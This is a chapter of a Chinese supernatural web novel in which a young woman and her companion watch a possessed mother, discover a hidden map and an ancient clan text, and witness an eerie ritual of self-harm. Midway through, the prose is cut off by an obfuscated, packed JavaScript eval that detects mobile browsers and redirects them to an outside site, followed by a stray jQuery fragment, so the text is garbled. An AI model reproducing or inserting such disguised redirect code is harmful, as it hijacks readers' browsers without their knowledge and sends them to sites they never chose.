40.第 40 章
作品:《他不是人?我是真狗》 叮铃——
慧音山气温骤降,直插云霄的杉松叶片枯黄,漱漱秋风卷落一地残骸。
耳边,有人在轻哼着歌谣?姜觅一睁开眼,发现自己正侧躺在姜格初房间的胡床上,醒了有一会的承归靠在门边,闭着眼睛不知道在想些什么。
姜觅一动,承归回了头,指指门外,示意她出去,两人一起跨过门槛。
“黄黄月亮挂天边,拍拍我儿闭眼睛。闪闪繁星绕良夜,阿娘制衣手不停。”
歌谣起,姜觅和承归停在距离佛堂一步之遥的三足香炉鼎旁边。
暮鼓熄灭的火光重燃,一盏盏豆大的佛灯照亮菩萨的金身,也照清趺坐在蒲团上做针线活的姜格初,她同慈眉的菩萨一般半阖着眼睛,唇角挂着一丝笑意。
“黄黄月亮挂天边,拍拍我儿闭眼睛。闪闪繁星绕良夜,阿娘制衣手不停。”
歌谣再起,还是那简单的四个句子,姜格初每穿几针,就停下来唱一段。
通过姜格初手边缝好的卷边针脚判断,她应该哼了有很长一段时间,手中那件淡绿色的外衫,只剩下三分之一只袖子还耷拉在手边。
“她声音不对劲……”姜觅说。
承归说:“喉咙用力过度,声带嘶哑。”
姜觅凝神细听,发现还有隐隐约约地嘶嘶声,像是从她胸腔发出来的音。
“彩石在作祟。你没醒时我就试过了,我们无法靠近她。”承归补充说。
“怎么会这么邪乎……”
姜觅不信,往前走了几步,抬脚就要试,发现脚底板就跟黏在了地板上一样,根本抬不起来。她当即挪动后脚跟脱鞋,照样无果。
明明已经参与到事情之中,却依然只能束手无策……
被吸引过来的人不止承归和姜觅,还有姜格初的婢女,她正在转角给尼姑塞东西,想来是要尼姑不要过来惊扰的意思。
尼姑离开后,婢女快步跑到姜格初的身边,跪下来阻止她的动作。
“夫人,夜深天亮,你还病着,早点歇息先。”婢女说。
姜格初双眼无神,摇摇头呢喃:“上次给浔儿做衣裳还是怀着她的时候,生了她之后我日日忧心定名的事,白白浪费了好些日子,之后就再也没机会了,现在我做得再多,都不够多。”
“您曾说幼年偷听到本家说银盒是救姜家关键之类的,好不容易把银盒弄到手,我们再想想办法呀!”婢女趁姜格初愣神时偷偷把针从她手上接过,放进绣线堆里包好。
“看来看去也只有一张看不懂的地图。”姜格初苦笑,“算了,你帮我把东西拿来,浔儿的三魂时辰,包布碎片,平安金锁也正好在里面,我想看看……”
婢女应下,匆匆去取银盒。
婢女妥帖,取了银盒的同时,还准备了餐食放在姜格初的身边,劝她多少吃点。
夜风不减,火苗被吹得往一边倒,姜格初拿着筷子木然的往嘴里塞着食物,好几下筷子甚至都没夹到饭粒,也不知道。婢女只好一手按住她的手背,一手夹菜喂她。
那卷得精致的菜肴扑通一下滚落到姜格初脚边,才回神歉意地对婢女笑了笑:“难为你了。”
婢女顿时泪如雨下:“夫人……我一点也不难,要不是您捡了我,我的尸骨都不知道有没有人埋!”
姜格初握住婢女的手:“不许说傻话,我身边也就你一个知心人……”
婢女啜泣不止,姜格初叹了一口气,把食盒移开,将银盒抱到了跟前,掌心贴在盒盖上,指腹一点点地摸向搭扣。
银盒哒的一下打开,姜格初再度默默地对着刻有长命富贵的金锁失神。
姜觅突地察觉不对劲,闭眼凝神一听,发现四周多出嘶嘶声,这声音此起彼伏,甚至搅动得本该自上而下的秋风在空中横行。
她的太阳穴像是有人拿着一根银针在往里扎,还像是脑子里有一团连着一团的墨点,眼前的事物都不再清明,姜觅想张开嘴叫承归,也发不出声音。
与此同时,姜格初啊地高声尖叫一声,站了起来,从鬓间扯下一缕头发对着烛火烧断,然后抓着红烛,和那银盒里红绸布包,往他们这边跑。
姜觅和承归动弹不得,拦人未果。
等到嘶嘶声散去,姜格初已经快要跑出华藏庵,承归迅速说道:“嘶嘶声越来越密集,可能不只是彩石的原因。你守在这里,我跟着她,看能不能切断源头。
你守在这里,我跟着她。”
“好。”姜觅说,又很快反应过来,无力道,“源头是什么都不知道……我们在哪里碰面?”
“十里亭。”承归说。
是了,她只会去那里。她连原先紧紧握着的平安锁都甩到了一边。
姜觅从蒲团边上把平安锁捡起放回银盒,指尖不小心勾起白丝帛的一角,一团墨点露了出来,她用食指摊开,寥寥数笔勾勒出的简易地图显示出全貌。
这一瞬间,姜觅记起不爱说话的那几年,曾和姨婆玩捉迷藏。
姨婆思量了很久选了一根金簪,说姜觅如果能在天黑之前找到,就可以答应姜觅一个请求,这个请求可以是某个愿望,也可以是一次原谅,类似动画片里的万能券。
相比有形的物品,这种保障性的约定,更能吸引不够有安全感的姜觅。
那天姜觅连喝水都顾不上,翻遍了姜家大小所有的地方,最后眼看着太阳快要落山,急得要哭出来时,姨婆用指头点着茶水在桌子上画了个简易地图说:“我只能提醒这么多哦。”
姜觅看不懂,踌躇地问姨婆:“为什么要这么复杂?你好像想又不想我找到……”
姨婆说:“我当然想你得到的更多,所以给了你提示,希望你想找就能找到。但如果我一开始就什么准备都不做,随便找了个地方藏的话,万一被其他坏人知道,那事情就会变得棘手。”
银盒一直是保管在姜家之外的地方的,里面唯一的东西又绘得很难让人理解。那证明这个人的初衷和姨婆类似——希望被有心人找到,而不被其他人知道。
姜觅双手捏着丝帛的两边,准备起身走到离光亮更近一些的地方细看。
随着火光越来越近,眼看都要挨到快烧着的时候,姜觅发现丝帛上多了一重阴影。拿得远一点,又消失不见,尝试着再度靠近火,温度逐渐升高,那些阴影的颜色变重,是八行竖写的文字。
“吾年老,知天有道,然尽瘁宗族,昆仑可为明证。吾不能言说种种,颌针之精,枸璧之气,此二灵物即我族命脉。兹命立守藏史,记族长异状,以备不虞之时,岁终封牍于祁连阴墟,与吾同葬。山腹石刻:「姜氏之外,擅启者死」”
古文晦涩拗口,但姜觅更怕其他意外,她快速默读背诵,在第三遍时,她不自觉重复‘祁连阴墟’几个字,恍然意识到什么,去看左上的那一条人字线条,发现那极有可能是正对昆仑的屏障——祁连山。
她下意识地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003984|175163||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死死紧握着丝帛,嘴里不断重复着那段古文……
叮铃——
-
叮铃——
姜觅再一眨眼,手中的丝帛消失,双手垂在身侧,指节自然地微微张开。
耳边呼啸的夜风之中,夹杂着细细碎碎的嘶嘶,嘶,嘶嘶嘶……
没有任何规律节奏,姜觅看着声音的源头,正是燃着一根红烛的十里亭。
深夜的慧音山,见得这一点光亮,姜觅像是站在浓雾之中看东西,整幅画面影影绰绰,伴随着阴森的气息。
眼前的场景好不真实。
姜觅察觉到自己正在耳鸣,趁着头还可以动,忙扭着脖子找承归。
头缓缓转动小半圈,定睛一看,发现十里亭斜后方,有两道缠在一起不动的身影。
那身影像是蜡像馆里的塑像,高的那个人,一手扶着自己的额头,一手伸出掐着矮个的脖子。
按理说,被掐住的人会本能地把头往后仰才对。
可矮个不是,他的整个上半身都是向前倾的,脖子拉得很长,有意在往前凑。
与此同时,更为奇怪的是,他腰腹部以下呈麻花一样拧着,伸出去的那只脚勾着高个的小腿的,支撑的那只脚只有脚后跟在地上,很难想象人居然可以做出这种类似扭曲绳结或者爬行动物的惊人姿态。
夜风吹散厚厚的云层,霜白的圆月露了出来。
十里亭内的姜格初突然把铜镜变换了个角度,嘟嘟囔囔说着姜觅听不清楚的话。
斜着放的铜镜正好将反射的光源打在那僵住的人影上。
高个子的侧脸绷得紧紧的,太阳穴的位置青筋暴起,凝着眸子里尽是厌恶。
姜觅从没见过这样的承归,一时甚至分不清他到底是承归还是白衣少年。
那格外好看的指节用力捏住的上方,矮个老翁瞪着浑浊的眼眸,张开嘴巴下巴抬着。
老翁的舌根像是被生生砍断的,从舌根之外掉出下巴,直直地挂在脸上,舌苔上泛着的铜绿绣色一样的幽幽青光。
嘶嘶,嘶嘶,嘶嘶……
姜觅的脖子不再能动,转动着眼珠子,用尽全身力气也只喊出了个“承……”字,她指望正对着铜镜,把两束头发绑在一起的姜格初能听见。
可姜格初就像是入魔了一样,时而歪头,时而勾起嘴角,只顾着绑头发。
弄好头发,姜格初捏着头发移动到火苗上点燃,终于说了一句姜觅能听清楚的话。
“浔儿,阿娘期盼和你有来生……”
头发易燃,姜觅迅速闻到头发丝儿被烧焦烧煳的气味,但姜格初却迟迟不收回手,仿佛感觉不到烫一样,直到把手摸到散掉的发髻里取金簪时,动作迟缓僵化。
铜镜朦朦,照出来的人脸宛若倒映在水中,随着她轻微的移动,而变得虚虚晃晃。
红烛的眼泪淌在黑白棋子上,姜格初的动作猛然加快,握着金簪将尖端往自己的天门穴一扎,不见有血,又狠狠一划,血珠子一涌而出,顺着脸庞流到嘴唇上。
姜格初任血滴往下流,手一松,金簪啪的一声落地,她把手掌在额头上一抹,细长的手指沾满血后,一下又一下地擦在压住三魂时辰红纸的彩石上。
……完了,姜觅心想。
就在此时,糊了一脸血的姜格初却猛不丁转过身,对着姜觅弯唇一笑。
这笑容诡异,令人毛骨悚然。
叮铃——

